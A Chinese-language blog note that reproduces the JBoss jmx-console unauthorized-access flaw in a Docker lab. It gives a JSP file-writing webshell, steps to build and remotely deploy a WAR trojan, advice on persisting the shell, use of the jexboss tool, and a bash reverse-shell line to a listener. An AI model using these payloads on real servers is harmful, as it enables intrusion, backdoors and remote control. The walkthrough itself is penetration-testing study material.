Jboss未授權訪問漏洞復現
- 2020 年 9 月 27 日
- 筆記
一、前言
漏洞原因:在低版本中,默認可以訪問Jboss web控制台(//127.0.0.1:8080/jmx-console),無需用戶名和密碼。
二、環境配置
使用docker搭建環境
docker search testjboss #搜索環境
docker pull testjboss/jboss 選擇環境
docker run -p 80:8080 -d testjboss/jboss #查看打開的docker環境
運行環境,訪問//ip
三、漏洞復現
方法一:寫木馬
直接訪問jboss控制台
寫入一句話木馬:
url中的參數:arg0代表war包的名稱,arg1=文件名稱,arg2=文件後綴名,arg3=文件內容
將arg3的值取出來並url解碼:
<% if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“/”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes()); %>
這個語句的功能是寫入文件功,f=文件名,t=文件內容
寫入1.txt文件
//192.168.78.129/August/shell.jsp?f=1.txt&t=hello%20world!
訪問1.txt文件
方法二:上傳木馬
首先製作一個war木馬(需要jdk),在java目錄下管理員cmd執行:
jar cvf ma.war index.jsp (自備index.jsp馬哦,將index.jsp放入java目錄下運行)
生成ma.war
將ma.war放在自己的服務器上
Jboxx4.x /jmx-console/ 後台存在未授權訪問,進入後台後,可直接部署 war 包Getshell。若需登錄,可以嘗試爆破弱口令登錄。
然後找到jboss.deployment(jboss 自帶的部署功能)中的flavor=URL,type=DeploymentScanner點進去(通過 url 的方式遠程部署)
找到頁面中的void addURL()選項來遠程加載war包來部署。
接下來我們查看是否部署成功
返回到剛進入jmx-console的頁面,找到 jboss.web.deployment,如下說明部署成功。如果沒顯示,多刷新幾次頁面或者等會兒,直到看到有部署的war包即可
接下來訪問木馬
成功訪問木馬
這個目錄最多用作臨時維持下權限,所以可以把shell傳到jmx-console的默認目錄來鞏固權限
\jboss-4.2.3.GA\server\default\deploy\jmx-console.war
方法三:使用檢測工具
檢測工具:jexboss,一個使用Python編寫的Jboss漏洞檢測利用工具,通過它可以檢測並利用web-console,jmx-console,JMXInvokerServlet這三個漏洞,並且可以獲得一個shell。
下載地址://github.com/joaomatosf/jexboss
python2 jexboss.py -u //ip:port
反彈shell到另一個kali機上,並在另一個kali機開啟nc監聽
bash -i >& /dev/tcp/192.168.78.128/7777 0>&1
四、修復建議
關閉jmx-console和web-console,提高安全性。